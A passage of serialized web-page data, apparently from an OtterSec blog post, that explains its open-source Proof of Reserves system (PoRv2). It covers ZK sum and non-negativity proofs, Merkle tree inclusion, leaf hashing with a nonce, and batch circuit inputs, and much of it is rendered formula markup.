cryptographically:",{"type":21,"tag":126,"props":94891,"children":94892},{},[94893,94910],{"type":21,"tag":91,"props":94894,"children":94895},{},[94896,94901,94903,94909],{"type":21,"tag":8055,"props":94897,"children":94898},{},[94899],{"type":26,"value":94900},"Sum proof",{"type":26,"value":94902},": The exchange liability is equal to the sum of all users' balances. (e.g: ",{"type":21,"tag":78,"props":94904,"children":94906},{"className":94905},[],[94907],{"type":26,"value":94908},"btc_liability = user1_btc + user2_btc + user3_btc + ...",{"type":26,"value":23436},{"type":21,"tag":91,"props":94911,"children":94912},{},[94913,94918,94920,94925],{"type":21,"tag":8055,"props":94914,"children":94915},{},[94916],{"type":26,"value":94917},"Non-negativity",{"type":26,"value":94919},": All users have a ",{"type":21,"tag":8055,"props":94921,"children":94922},{},[94923],{"type":26,"value":94924},"positive",{"type":26,"value":94926}," net balance. This ensures that the sum proof is not tampered with by users with negative net balances. A user can have negative asset balances (e.g., borrowing BTC) but only if collateralized with other assets.",{"type":21,"tag":22,"props":94928,"children":94929},{},[94930],{"type":26,"value":94931},"It is worth noting that we cannot guarantee that all users were included in the ZK analysis. Therefore, if we only used ZKPs to prove those two statements, the exchange could tamper with the sum proof by excluding users from the PoR. That's why we also use a Merkle tree to prove inclusions.",{"type":21,"tag":66,"props":94933,"children":94935},{"id":94934},"what-is-a-merkle-tree-and-how-does-it-help-in-a-por",[94936],{"type":26,"value":94937},"What is a Merkle Tree and how does it help in a PoR?",{"type":21,"tag":22,"props":94939,"children":94940},{},[94941],{"type":26,"value":94942},"A Merkle tree is a tree data structure where each leaf node is a cryptographic hash of an individual piece of data (like a user's balance), and every non-leaf node is a cryptographic hash of its child nodes. This structure allows for the entire dataset to be summarized by a single, unique hash at the top, called the Merkle Root.",{"type":21,"tag":22,"props":94944,"children":94945},{},[94946],{"type":21,"tag":3644,"props":94947,"children":94949},{"alt":52869,"src":94948},"/posts/por/merkle-tree.png",[],{"type":21,"tag":22,"props":94951,"children":94952},{},[94953],{"type":26,"value":94954},"In the PoR, we can use a Merkle tree to verify the inclusion of each user in the Proof of Reserves. It works like this:",{"type":21,"tag":126,"props":94956,"children":94957},{},[94958,94971,94976],{"type":21,"tag":91,"props":94959,"children":94960},{},[94961,94963,94969],{"type":26,"value":94962},"The Merkle tree is generated using the leaf nodes as the hashes of the user information (e.g., ",{"type":21,"tag":78,"props":94964,"children":94966},{"className":94965},[],[94967],{"type":26,"value":94968},"sha256({id: 1, balances: {\"BTC\": 0.1, \"ETH\": 0.2, ...}})",{"type":26,"value":94970},");",{"type":21,"tag":91,"props":94972,"children":94973},{},[94974],{"type":26,"value":94975},"The Merkle tree is made public;",{"type":21,"tag":91,"props":94977,"children":94978},{},[94979],{"type":26,"value":94980},"Each user can download the Merkle tree and check if their account was included by hashing their account information and checking if the hash is one of the leaves;",{"type":21,"tag":22,"props":94982,"children":94983},{},[94984],{"type":26,"value":94985},"In other words, this use of the Merkle tree allows users to easily verify that their individual balance was included in the overall total.",{"type":21,"tag":66,"props":94987,"children":94989},{"id":94988},"ottersec-porv2",[94990],{"type":26,"value":94991},"OtterSec PoRv2",{"type":21,"tag":22,"props":94993,"children":94994},{},[94995,95001,95003,95010],{"type":21,"tag":29,"props":94996,"children":94998},{"href":94832,"rel":94997},[33],[94999],{"type":26,"value":95000},"We just open-sourced our Proof of Reserves code (PoRv2)",{"type":26,"value":95002},", which uses the ",{"type":21,"tag":29,"props":95004,"children":95007},{"href":95005,"rel":95006},"https://github.com/0xPolygonZero/plonky2",[33],[95008],{"type":26,"value":95009},"plonky2 ZK algorithm",{"type":26,"value":95011}," to create a Merkle tree and a final ZK proof that recursively verifies smaller sum and non-negativity proofs.",{"type":21,"tag":22,"props":95013,"children":95014},{},[95015,95017,95024],{"type":26,"value":95016},"We named it PoRv2 because we already had a version based on ",{"type":21,"tag":29,"props":95018,"children":95021},{"href":95019,"rel":95020},"https://vitalik.eth.limo/general/2022/11/19/proof_of_solvency.html",[33],[95022],{"type":26,"value":95023},"Vitalik's proof of solvency",{"type":26,"value":95025},", which was not optimal.",{"type":21,"tag":22,"props":95027,"children":95028},{},[95029],{"type":21,"tag":8055,"props":95030,"children":95031},{},[95032],{"type":26,"value":95033},"Non-negativity Proof",{"type":21,"tag":22,"props":95035,"children":95036},{},[95037],{"type":26,"value":95038},"In our non-negativity proof, the circuit receives the asset balances of each user and the price of each asset. With these inputs, it calculates the account's USD balance and checks if it is greater than 0.",{"type":21,"tag":22,"props":95040,"children":95041},{},[95042],{"type":26,"value":95043},"We also check for overflows during summation to prevent tampering in the final result.",{"type":21,"tag":22,"props":95045,"children":95046},{},[95047],{"type":21,"tag":8055,"props":95048,"children":95049},{},[95050],{"type":26,"value":95051},"Sum Proof",{"type":21,"tag":22,"props":95053,"children":95054},{},[95055,95057,95063],{"type":26,"value":95056},"The sum proof verifies a public circuit input that was calculated by summing up all user balances of each asset. (e.g., ",{"type":21,"tag":78,"props":95058,"children":95060},{"className":95059},[],[95061],{"type":26,"value":95062},"BTC final: user1_btc + user2_btc ...",{"type":26,"value":95064},"). Note that each asset's final sum is not USD-based; we calculate the final balance using the asset balance itself.",{"type":21,"tag":114,"props":95066,"children":95068},{"id":95067},"what-are-the-ottersec-porv2-key-points",[95069],{"type":26,"value":95070},"What are the OtterSec PoRv2 key points?",{"type":21,"tag":126,"props":95072,"children":95073},{},[95074,95084,95102,95112,95143],{"type":21,"tag":91,"props":95075,"children":95076},{},[95077,95082],{"type":21,"tag":8055,"props":95078,"children":95079},{},[95080],{"type":26,"value":95081},"Transparency",{"type":26,"value":95083},": It is possible for the exchange to safely disclose the entire Merkle tree so users can verify it without the need for an external auditing company. Also, the code allows asset price commitments and verifications.",{"type":21,"tag":91,"props":95085,"children":95086},{},[95087,95092,95094,95101],{"type":21,"tag":8055,"props":95088,"children":95089},{},[95090],{"type":26,"value":95091},"Time-efficiency",{"type":26,"value":95093},": We were able to reduce the amount of time to prove by more than 100 times from our previous version by generating proofs for 750,000 users within 8 minutes using a Mac M3 Pro. ",{"type":21,"tag":29,"props":95095,"children":95098},{"href":95096,"rel":95097},"https://github.com/otter-sec/por_v2?tab=readme-ov-file#benchmark",[33],[95099],{"type":26,"value":95100},"Check our benchmark",{"type":26,"value":355},{"type":21,"tag":91,"props":95103,"children":95104},{},[95105,95110],{"type":21,"tag":8055,"props":95106,"children":95107},{},[95108],{"type":26,"value":95109},"Memory-efficiency",{"type":26,"value":95111},": We also were able to reduce the amount of RAM needed to prove the liabilities of millions of users. Now, we are able to use machines with 16GB.",{"type":21,"tag":91,"props":95113,"children":95114},{},[95115,95120,95122,95127,95129,95134,95136,95141],{"type":21,"tag":8055,"props":95116,"children":95117},{},[95118],{"type":26,"value":95119},"Small-proofs",{"type":26,"value":95121},": We were able to reduce the final proof to less than ",{"type":21,"tag":8055,"props":95123,"children":95124},{},[95125],{"type":26,"value":95126},"500KB",{"type":26,"value":95128}," and each inclusion proof to ",{"type":21,"tag":8055,"props":95130,"children":95131},{},[95132],{"type":26,"value":95133},"~52KB",{"type":26,"value":95135},". The only big file that we need to store is the Merkle tree, which doesn't consume more than ",{"type":21,"tag":8055,"props":95137,"children":95138},{},[95139],{"type":26,"value":95140},"200MB",{"type":26,"value":95142}," if the PoR parameters are finely adjusted. Additionally, instead of storing each inclusion proof in a static file, we provide an efficient method to generate inclusion proofs on demand, eliminating the need for the exchange to store millions of files and conserve disk space and resources.",{"type":21,"tag":91,"props":95144,"children":95145},{},[95146,95151],{"type":21,"tag":8055,"props":95147,"children":95148},{},[95149],{"type":26,"value":95150},"Privacy",{"type":26,"value":95152},": We use many cryptographic mechanisms to ensure that the user balances and other private information are kept safe and secret.",{"type":21,"tag":66,"props":95154,"children":95156},{"id":95155},"zk-circuits",[95157],{"type":26,"value":95158},"ZK Circuits",{"type":21,"tag":22,"props":95160,"children":95161},{},[95162],{"type":26,"value":95163},"We use two different ZK circuits to generate the final proof:",{"type":21,"tag":126,"props":95165,"children":95166},{},[95167,95172],{"type":21,"tag":91,"props":95168,"children":95169},{},[95170],{"type":26,"value":95171},"Batch circuit",{"type":21,"tag":91,"props":95173,"children":95174},{},[95175],{"type":26,"value":95176},"Recursive circuit",{"type":21,"tag":22,"props":95178,"children":95179},{},[95180],{"type":26,"value":95181},"With those two circuits, we can generate the proofs recursive tree:",{"type":21,"tag":22,"props":95183,"children":95184},{},[95185],{"type":21,"tag":3644,"props":95186,"children":95188},{"alt":52869,"src":95187},"/posts/por/batch-circuit.png",[],{"type":21,"tag":5689,"props":95190,"children":95191},{},[95192],{"type":21,"tag":22,"props":95193,"children":95194},{},[95195,95197,95203,95205,95211],{"type":26,"value":95196},"Note: We are using 512 as ",{"type":21,"tag":78,"props":95198,"children":95200},{"className":95199},[],[95201],{"type":26,"value":95202},"BATCH_SIZE",{"type":26,"value":95204}," and 8 as ",{"type":21,"tag":78,"props":95206,"children":95208},{"className":95207},[],[95209],{"type":26,"value":95210},"RECURSIVE_SIZE",{"type":26,"value":95212}," which indicates how many children each circuit has. This is easily adjustable in the code, and the optimal configuration will depend on the amount of accounts being proved in the PoR.",{"type":21,"tag":5689,"props":95214,"children":95215},{},[95216],{"type":21,"tag":22,"props":95217,"children":95218},{},[95219],{"type":26,"value":95220},"Note 2: We add empty proofs as padding to chunks that don't have the correct length.",{"type":21,"tag":22,"props":95222,"children":95223},{},[95224],{"type":26,"value":95225},"Each non-leaf node in this tree is a ZK proof, which is generated using the related circuit; each circuit also generates the Merkle tree hash of each node, which is included in the Merkle tree.",{"type":21,"tag":114,"props":95227,"children":95229},{"id":95228},"leaf-nodes",[95230],{"type":26,"value":95231},"Leaf Nodes",{"type":21,"tag":22,"props":95233,"children":95234},{},[95235],{"type":26,"value":95236},"The leaf nodes are the hashes of the account information. It is calculated in this way:",{"type":21,"tag":22,"props":95238,"children":95239},{},[95240],{"type":21,"tag":78,"props":95241,"children":95243},{"className":95242},[6715,6716],[95244],{"type":21,"tag":153,"props":95245,"children":95247},{"className":95246},[6721],[95248],{"type":21,"tag":153,"props":95249,"children":95251},{"className":95250,"ariaHidden":3294},[6726],[95252,95279],{"type":21,"tag":153,"props":95253,"children":95255},{"className":95254},[6731],[95256,95261,95266,95270,95275],{"type":21,"tag":153,"props":95257,"children":95260},{"className":95258,"style":95259},[6736],"height:0.6944em;",[],{"type":21,"tag":153,"props":95262,"children":95264},{"className":95263},[6742,24280],[95265],{"type":26,"value":86642},{"type":21,"tag":153,"props":95267,"children":95269},{"className":95268,"style":6918},[6820],[],{"type":21,"tag":153,"props":95271,"children":95273},{"className":95272},[6923],[95274],{"type":26,"value":2367},{"type":21,"tag":153,"props":95276,"children":95278},{"className":95277,"style":6918},[6820],[],{"type":21,"tag":153,"props":95280,"children":95282},{"className":95281},[6731],[95283,95288,95293,95299,95304,95309,95315,95320,95325,95330,95336,95341,95347,95353,95360,95366,95372,95432,95437,95443,95448,95453,95458,95463,95468,95473,95478,95483,95488,95545,95550,95555,95560,95565,95570,95575,95582,95587,95593,95598,95604,95610,95615,95620,95625,95630,95635,95640,95645,95650,95655,95660,95665,95670,95675,95680],{"type":21,"tag":153,"props":95284,"children":95287},{"className":95285,"style":95286},[6736],"height:1.06em;vertical-align:-0.31em;",[],{"type":21,"tag":153,"props":95289,"children":95291},{"className":95290,"style":24281},[6742,24280],[95292],{"type":26,"value":24284},{"type":21,"tag":153,"props":95294,"children":95296},{"className":95295},[6742,24280],[95297],{"type":26,"value":95298},"ose",{"type":21,"tag":153,"props":95300,"children":95302},{"className":95301},[6742,24280],[95303],{"type":26,"value":6471},{"type":21,"tag":153,"props":95305,"children":95307},{"className":95306},[6742,24280],[95308],{"type":26,"value":72859},{"type":21,"tag":153,"props":95310,"children":95312},{"className":95311},[6742,24280],[95313],{"type":26,"value":95314},"o",{"type":21,"tag":153,"props":95316,"children":95318},{"className":95317},[6742,24280],[95319],{"type":26,"value":58695},{"type":21,"tag":153,"props":95321,"children":95323},{"className":95322},[24409],[95324],{"type":26,"value":189},{"type":21,"tag":153,"props":95326,"children":95328},{"className":95327},[6742,24280],[95329],{"type":26,"value":29},{"type":21,"tag":153,"props":95331,"children":95333},{"className":95332},[6742,24280],[95334],{"type":26,"value":95335},"sse",{"type":21,"tag":153,"props":95337,"children":95339},{"className":95338},[6742,24280],[95340],{"type":26,"value":24422},{"type":21,"tag":153,"props":95342,"children":95345},{"className":95343,"style":95344},[6742],"margin-right:0.02778em;",[95346],{"type":26,"value":5834},{"type":21,"tag":153,"props":95348,"children":95350},{"className":95349},[6742,24280],[95351],{"type":26,"value":95352},"ba",{"type":21,"tag":153,"props":95354,"children":95357},{"className":95355,"style":95356},[6742,24280],"margin-right:0.01968em;",[95358],{"type":26,"value":95359},"l",{"type":21,"tag":153,"props":95361,"children":95363},{"className":95362},[6742,24280],[95364],{"type":26,"value":95365},"an",{"type":21,"tag":153,"props":95367,"children":95369},{"className":95368},[6742,24280],[95370],{"type":26,"value":95371},"ce",{"type":21,"tag":153,"props":95373,"children":95375},{"className":95374},[6742],[95376,95381],{"type":21,"tag":153,"props":95377,"children":95379},{"className":95378},[6742,24280],[95380],{"type":26,"value":13372},{"type":21,"tag":153,"props":95382,"children":95384},{"className":95383},[6757],[95385],{"type":21,"tag":153,"props":95386,"children":95388},{"className":95387},[6762,24334],[95389,95420],{"type":21,"tag":153,"props":95390,"children":95392},{"className":95391},[6767],[95393,95415],{"type":21,"tag":153,"props":95394,"children":95397},{"className":95395,"style":95396},[6772],"height:0.3011em;",[95398],{"type":21,"tag":153,"props":95399,"children":95401},{"style":95400},"top:-2.55em;margin-left:0em;margin-right:0.05em;",[95402,95406],{"type":21,"tag":153,"props":95403,"children":95405},{"className":95404,"style":6782},[6781],[],{"type":21,"tag":153,"props":95407,"children":95409},{"className":95408},[6787,6788,6789,6790],[95410],{"type":21,"tag":153,"props":95411,"children":95413},{"className":95412},[6742,6790],[95414],{"type":26,"value":2996},{"type":21,"tag":153,"props":95416,"children":95418},{"className":95417},[24437],[95419],{"type":26,"value":24440},{"type":21,"tag":153,"props":95421,"children":95423},{"className":95422},[6767],[95424],{"type":21,"tag":153,"props":95425,"children":95428},{"className":95426,"style":95427},[6772],"height:0.15em;",[95429],{"type":21,"tag":153,"props":95430,"children":95431},{},[],{"type":21,"tag":153,"props":95433,"children":95435},{"className":95434},[6820],[95436],{"type":26,"value":24381},{"type":21,"tag":153,"props":95438,"children":95440},{"className":95439},[6742],[95441],{"type":26,"value":95442},"∣∣",{"type":21,"tag":153,"props":95444,"children":95446},{"className":95445},[6820],[95447],{"type":26,"value":24381},{"type":21,"tag":153,"props":95449,"children":95451},{"className":95450},[6742,24280],[95452],{"type":26,"value":29},{"type":21,"tag":153,"props":95454,"children":95456},{"className":95455},[6742,24280],[95457],{"type":26,"value":95335},{"type":21,"tag":153,"props":95459,"children":95461},{"className":95460},[6742,24280],[95462],{"type":26,"value":24422},{"type":21,"tag":153,"props":95464,"children":95466},{"className":95465,"style":95344},[6742],[95467],{"type":26,"value":5834},{"type":21,"tag":153,"props":95469,"children":95471},{"className":95470},[6742,24280],[95472],{"type":26,"value":95352},{"type":21,"tag":153,"props":95474,"children":95476},{"className":95475,"style":95356},[6742,24280],[95477],{"type":26,"value":95359},{"type":21,"tag":153,"props":95479,"children":95481},{"className":95480},[6742,24280],[95482],{"type":26,"value":95365},{"type":21,"tag":153,"props":95484,"children":95486},{"className":95485},[6742,24280],[95487],{"type":26,"value":95371},{"type":21,"tag":153,"props":95489,"children":95491},{"className":95490},[6742],[95492,95497],{"type":21,"tag":153,"props":95493,"children":95495},{"className":95494},[6742,24280],[95496],{"type":26,"value":13372},{"type":21,"tag":153,"props":95498,"children":95500},{"className":95499},[6757],[95501],{"type":21,"tag":153,"props":95502,"children":95504},{"className":95503},[6762,24334],[95505,95534],{"type":21,"tag":153,"props":95506,"children":95508},{"className":95507},[6767],[95509,95529],{"type":21,"tag":153,"props":95510,"children":95512},{"className":95511,"style":95396},[6772],[95513],{"type":21,"tag":153,"props":95514,"children":95515},{"style":95400},[95516,95520],{"type":21,"tag":153,"props":95517,"children":95519},{"className":95518,"style":6782},[6781],[],{"type":21,"tag":153,"props":95521,"children":95523},{"className":95522},[6787,6788,6789,6790],[95524],{"type":21,"tag":153,"props":95525,"children":95527},{"className":95526},[6742,6790],[95528],{"type":26,"value":3033},{"type":21,"tag":153,"props":95530,"children":95532},{"className":95531},[24437],[95533],{"type":26,"value":24440},{"type":21,"tag":153,"props":95535,"children":95537},{"className":95536},[6767],[95538],{"type":21,"tag":153,"props":95539,"children":95541},{"className":95540,"style":95427},[6772],[95542],{"type":21,"tag":153,"props":95543,"children":95544},{},[],{"type":21,"tag":153,"props":95546,"children":95548},{"className":95547},[6820],[95549],{"type":26,"value":24381},{"type":21,"tag":153,"props":95551,"children":95553},{"className":95552},[6742],[95554],{"type":26,"value":12313},{"type":21,"tag":153,"props":95556,"children":95558},{"className":95557},[6820],[95559],{"type":26,"value":24381},{"type":21,"tag":153,"props":95561,"children":95563},{"className":95562},[6742],[95564],{"type":26,"value":95442},{"type":21,"tag":153,"props":95566,"children":95568},{"className":95567},[6820],[95569],{"type":26,"value":24381},{"type":21,"tag":153,"props":95571,"children":95573},{"className":95572,"style":24739},[6742,24280],[95574],{"type":26,"value":24742},{"type":21,"tag":153,"props":95576,"children":95579},{"className":95577,"style":95578},[6742,24280],"margin-right:0.08125em;",[95580],{"type":26,"value":95581},"H",{"type":21,"tag":153,"props":95583,"children":95585},{"className":95584},[6742,24280],[95586],{"type":26,"value":79064},{"type":21,"tag":153,"props":95588,"children":95590},{"className":95589},[6742],[95591],{"type":26,"value":95592},"256",{"type":21,"tag":153,"props":95594,"children":95596},{"className":95595},[24409],[95597],{"type":26,"value":189},{"type":21,"tag":153,"props":95599,"children":95601},{"className":95600},[6742,24280],[95602],{"type":26,"value":95603},"u",{"type":21,"tag":153,"props":95605,"children":95607},{"className":95606,"style":95344},[6742,24280],[95608],{"type":26,"value":95609},"ser",{"type":21,"tag":153,"props":95611,"children":95613},{"className":95612,"style":95344},[6742],[95614],{"type":26,"value":5834},{"type":21,"tag":153,"props":95616,"children":95618},{"className":95617},[6742,24280],[95619],{"type":26,"value":6471},{"type":21,"tag":153,"props":95621,"children":95623},{"className":95622},[6742,24280],[95624],{"type":26,"value":72859},{"type":21,"tag":153,"props":95626,"children":95628},{"className":95627},[24431],[95629],{"type":26,"value":2071},{"type":21,"tag":153,"props":95631,"children":95633},{"className":95632},[6820],[95634],{"type":26,"value":24381},{"type":21,"tag":153,"props":95636,"children":95638},{"className":95637},[6742],[95639],{"type":26,"value":95442},{"type":21,"tag":153,"props":95641,"children":95643},{"className":95642},[6820],[95644],{"type":26,"value":24381},{"type":21,"tag":153,"props":95646,"children":95648},{"className":95647},[6742,24280],[95649],{"type":26,"value":95603},{"type":21,"tag":153,"props":95651,"children":95653},{"className":95652,"style":95344},[6742,24280],[95654],{"type":26,"value":95609},{"type":21,"tag":153,"props":95656,"children":95658},{"className":95657,"style":95344},[6742],[95659],{"type":26,"value":5834},{"type":21,"tag":153,"props":95661,"children":95663},{"className":95662},[6742,24280],[95664],{"type":26,"value":58695},{"type":21,"tag":153,"props":95666,"children":95668},{"className":95667},[6742,24280],[95669],{"type":26,"value":95314},{"type":21,"tag":153,"props":95671,"children":95673},{"className":95672},[6742,24280],[95674],{"type":26,"value":58695},{"type":21,"tag":153,"props":95676,"children":95678},{"className":95677},[6742,24280],[95679],{"type":26,"value":95371},{"type":21,"tag":153,"props":95681,"children":95683},{"className":95682},[24431],[95684],{"type":26,"value":2071},{"type":21,"tag":22,"props":95686,"children":95687},{},[95688,95690,95696],{"type":26,"value":95689},"In other words, all balances are concatenated with the hashed user ID (which can be a ",{"type":21,"tag":78,"props":95691,"children":95693},{"className":95692},[],[95694],{"type":26,"value":95695},"uuid",{"type":26,"value":95697},", a username or an incremental ID) and with a nonce. The nonce is a random number that serves as a security measure against attackers who could brute-force the hash to find out other users' balances. Since the Merkle tree is a public proof, we need to be careful against these types of data leaks.",{"type":21,"tag":114,"props":95699,"children":95701},{"id":95700},"batch-circuit",[95702],{"type":26,"value":95703},"Batch Circuit",{"type":21,"tag":22,"props":95705,"children":95706},{},[95707],{"type":26,"value":95708},"The batch circuit is the first proven circuit in the PoR algorithm. It receives the account's information (grouped in 512) and generates the ZK proof with those constraints:",{"type":21,"tag":22,"props":95710,"children":95711},{},[95712],{"type":21,"tag":8055,"props":95713,"children":95714},{},[95715],{"type":26,"value":95716},"Public Inputs",{"type":21,"tag":87,"props":95718,"children":95719},{},[95720,95725,95730],{"type":21,"tag":91,"props":95721,"children":95722},{},[95723],{"type":26,"value":95724},"Asset prices in USD",{"type":21,"tag":91,"props":95726,"children":95727},{},[95728],{"type":26,"value":95729},"Merkle tree hash",{"type":21,"tag":91,"props":95731,"children":95732},{},[95733],{"type":26,"value":95734},"Summed asset balances",{"type":21,"tag":22,"props":95736,"children":95737},{},[95738],{"type":21,"tag":8055,"props":95739,"children":95740},{},[95741],{"type":26,"value":95742},"Private Inputs",{"type":21,"tag":87,"props":95744,"children":95745},{},[95746,95751],{"type":21,"tag":91,"props":95747,"children":95748},{},[95749],{"type":26,"value":95750},"Users balances",{"type":21,"tag":91,"props":95752,"children":95753},{},[95754],{"type":26,"value":95755},"Merkle tree leaves hashes",{"type":21,"tag":22,"props":95757,"children":95758},{},[95759],{"type":21,"tag":8055,"props":95760,"children":95761},{},[95762],{"type":26,"value":95763},"Constraints",{"type":21,"tag":87,"props":95765,"children":95766},{},[95767,96220,96388,96735,97133],{"type":21,"tag":91,"props":95768,"children":95769},{},[95770],{"type":21,"tag":78,"props":95771,"children":95773},{"className":95772},[6715,6716],[95774],{"type":21,"tag":153,"props":95775,"children":95777},{"className":95776},[6721],[95778],{"type":21,"tag":153,"props":95779,"children":95781},{"className":95780,"ariaHidden":3294},[6726],[95782,95921,96125],{"type":21,"tag":153,"props":95783,"children":95785},{"className":95784},[6731],[95786,95791,95796,95802,95807,95812,95817,95822,95827,95834,95839,95844,95849,95908,95912,95917],{"type":21,"tag":153,"props":95787,"children":95790},{"className":95788,"style":95789},[6736],"height:0.9695em;vertical-align:-0.31em;",[],{"type":21,"tag":153,"props":95792,"children":95794},{"className":95793},[6742,24280],[95795],{"type":26,"value":29},{"type":21,"tag":153,"props":95797,"children":95799},{"className":95798},[6742,24280],[95800],{"type":26,"value":95801},"cco",{"type":21,"tag":153,"props":95803,"children":95805},{"className":95804},[6742,24280],[95806],{"type":26,"value":95603},{"type":21,"tag":153,"props":95808,"children":95810},{"className":95809},[6742,24280],[95811],{"type":26,"value":58695},{"type":21,"tag":153,"props":95813,"children":95815},{"className":95814},[6742,24280],[95816],{"type":26,"value":24422},{"type":21,"tag":153,"props":95818,"children":95820},{"className":95819,"style":95344},[6742],[95821],{"type":26,"value":5834},{"type":21,"tag":153,"props":95823,"children":95825},{"className":95824},[6742,24280],[95826],{"type":26,"value":53745},{"type":21,"tag":153,"props":95828,"children":95831},{"className":95829,"style":95830},[6742,24280],"margin-right:0.03588em;",[95832],{"type":26,"value":95833},"q",{"type":21,"tag":153,"props":95835,"children":95837},{"className":95836},[6742,24280],[95838],{"type":26,"value":95603},{"type":21,"tag":153,"props":95840,"children":95842},{"className":95841},[6742,24280],[95843],{"type":26,"value":6471},{"type":21,"tag":153,"props":95845,"children":95847},{"className":95846},[6742,24280],[95848],{"type":26,"value":24422},{"type":21,"tag":153,"props":95850,"children":95852},{"className":95851},[6742],[95853,95858],{"type":21,"tag":153,"props":95854,"children":95856},{"className":95855,"style":95830},[6742,24280],[95857],{"type":26,"value":5864},{"type":21,"tag":153,"props":95859,"children":95861},{"className":95860},[6757],[95862],{"type":21,"tag":153,"props":95863,"children":95865},{"className":95864},[6762,24334],[95866,95897],{"type":21,"tag":153,"props":95867,"children":95869},{"className":95868},[6767],[95870,95892],{"type":21,"tag":153,"props":95871,"children":95874},{"className":95872,"style":95873},[6772],"height:0.3117em;",[95875],{"type":21,"tag":153,"props":95876,"children":95878},{"style":95877},"top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;",[95879,95883],{"type":21,"tag":153,"props":95880,"children":95882},{"className":95881,"style":6782},[6781],[],{"type":21,"tag":153,"props":95884,"children":95886},{"className":95885},[6787,6788,6789,6790],[95887],{"type":21,"tag":153,"props":95888,"children":95890},{"className":95889},[6742,24280,6790],[95891],{"type":26,"value":6471},{"type":21,"tag":153,"props":95893,"children":95895},{"className":95894},[24437],[95896],{"type":26,"value":24440},{"type":21,"tag":153,"props":95898,"children":95900},{"className":95899},[6767],[95901],{"type":21,"tag":153,"props":95902,"children":95904},{"className":95903,"style":95427},[6772],[95905],{"type":21,"tag":153,"props":95906,"children":95907},{},[],{"type":21,"tag":153,"props":95909,"children":95911},{"className":95910,"style":6918},[6820],[],{"type":21,"tag":153,"props":95913,"children":95915},{"className":95914},[6923],[95916],{"type":26,"value":1694},{"type":21,"tag":153,"props":95918,"children":95920},{"className":95919,"style":6918},[6820],[],{"type":21,"tag":153,"props":95922,"children":95924},{"className":95923},[6731],[95925,95929,95935,95940,95945,95950,95955,95960,95965,95970,95975,95980,95985,95990,95995,96000,96005,96010,96067,96072,96077,96082,96087,96092,96097,96102,96107,96112,96116,96121],{"type":21,"tag":153,"props":95926,"children":95928},{"className":95927,"style":95286},[6736],[],{"type":21,"tag":153,"props":95930,"children":95932},{"className":95931},[6742],[95933],{"type":26,"value":95934},"Σ",{"type":21,"tag":153,"props":95936,"children":95938},{"className":95937},[6820],[95939],{"type":26,"value":24381},{"type":21,"tag":153,"props":95941,"children":95943},{"className":95942},[6742,24280],[95944],{"type":26,"value":29},{"type":21,"tag":153,"props":95946,"children":95948},{"className":95947},[6742,24280],[95949],{"type":26,"value":95801},{"type":21,"tag":153,"props":95951,"children":95953},{"className":95952},[6742,24280],[95954],{"type":26,"value":95603},{"type":21,"tag":153,"props":95956,"children":95958},{"className":95957},[6742,24280],[95959],{"type":26,"value":58695},{"type":21,"tag":153,"props":95961,"children":95963},{"className":95962},[6742,24280],[95964],{"type":26,"value":24422},{"type":21,"tag":153,"props":95966,"children":95968},{"className":95967,"style":95344},[6742],[95969],{"type":26,"value":5834},{"type":21,"tag":153,"props":95971,"children":95973},{"className":95972},[6742,24280],[95974],{"type":26,"value":29},{"type":21,"tag":153,"props":95976,"children":95978},{"className":95977},[6742,24280],[95979],{"type":26,"value":95335},{"type":21,"tag":153,"props":95981,"children":95983},{"className":95982},[6742,24280],[95984],{"type":26,"value":24422},{"type":21,"tag":153,"props":95986,"children":95988},{"className":95987,"style":95344},[6742],[95989],{"type":26,"value":5834},{"type":21,"tag":153,"props":95991,"children":95993},{"className":95992},[6742,24280],[95994],{"type":26,"value":95352},{"type":21,"tag":153,"props":95996,"children":95998},{"className":95997,"style":95356},[6742,24280],[95999],{"type":26,"value":95359},{"type":21,"tag":153,"props":96001,"children":96003},{"className":96002},[6742,24280],[96004],{"type":26,"value":95365},{"type":21,"tag":153,"props":96006,"children":96008},{"className":96007},[6742,24280],[96009],{"type":26,"value":95371},{"type":21,"tag":153,"props":96011,"children":96013},{"className":96012},[6742],[96014,96019],{"type":21,"tag":153,"props":96015,"children":96017},{"className":96016},[6742,24280],[96018],{"type":26,"value":13372},{"type":21,"tag":153,"props":96020,"children":96022},{"className":96021},[6757],[96023],{"type":21,"tag":153,"props":96024,"children":96026},{"className":96025},[6762,24334],[96027,96056],{"type":21,"tag":153,"props":96028,"children":96030},{"className":96029},[6767],[96031,96051],{"type":21,"tag":153,"props":96032,"children":96034},{"className":96033,"style":95873},[6772],[96035],{"type":21,"tag":153,"props":96036,"children":96037},{"style":95400},[96038,96042],{"type":21,"tag":153,"props":96039,"children":96041},{"className":96040,"style":6782},[6781],[],{"type":21,"tag":153,"props":96043,"children":96045},{"className":96044},[6787,6788,6789,6790],[96046],{"type":21,"tag":153,"props":96047,"children":96049},{"className":96048},[6742,24280,6790],[96050],{"type":26,"value":6471},{"type":21,"tag":153,"props":96052,"children":96054},{"className":96053},[24437],[96055],{"type":26,"value":24440},{"type":21,"tag":153,"props":96057,"children":96059},{"className":96058},[6767],[96060],{"type":21,"tag":153,"props":96061,"children":96063},{"className":96062,"style":95427},[6772],[96064],{"type":21,"tag":153,"props":96065,"children":96066},{},[],{"type":21,"tag":153,"props":96068,"children":96070},{"className":96069},[24409],[96071],{"type":26,"value":211},{"type":21,"tag":153,"props":96073,"children":96075},{"className":96074},[6742,24280],[96076],{"type":26,"value":29},{"type":21,"tag":153,"props":96078,"children":96080},{"className":96079},[6742,24280],[96081],{"type":26,"value":95335},{"type":21,"tag":153,"props":96083,"children":96085},{"className":96084},[6742,24280],[96086],{"type":26,"value":24422},{"type":21,"tag":153,"props":96088,"children":96090},{"className":96089,"style":95344},[6742],[96091],{"type":26,"value":5834},{"type":21,"tag":153,"props":96093,"children":96095},{"className":96094},[6742,24280],[96096],{"type":26,"value":58695},{"type":21,"tag":153,"props":96098,"children":96100},{"className":96099},[6742,24280],[96101],{"type":26,"value":95603},{"type":21,"tag":153,"props":96103,"children":96105},{"className":96104},[6742,24280],[96106],{"type":26,"value":53424},{"type":21,"tag":153,"props":96108,"children":96110},{"className":96109},[24431],[96111],{"type":26,"value":350},{"type":21,"tag":153,"props":96113,"children":96115},{"className":96114,"style":6821},[6820],[],{"type":21,"tag":153,"props":96117,"children":96119},{"className":96118},[6826],[96120],{"type":26,"value":6829},{"type":21,"tag":153,"props":96122,"children":96124},{"className":96123,"style":6821},[6820],[],{"type":21,"tag":153,"props":96126,"children":96128},{"className":96127},[6731],[96129,96133,96138,96143,96148,96153,96158,96164,96169,96175,96180,96185,96190,96195,96200,96205,96210,96215],{"type":21,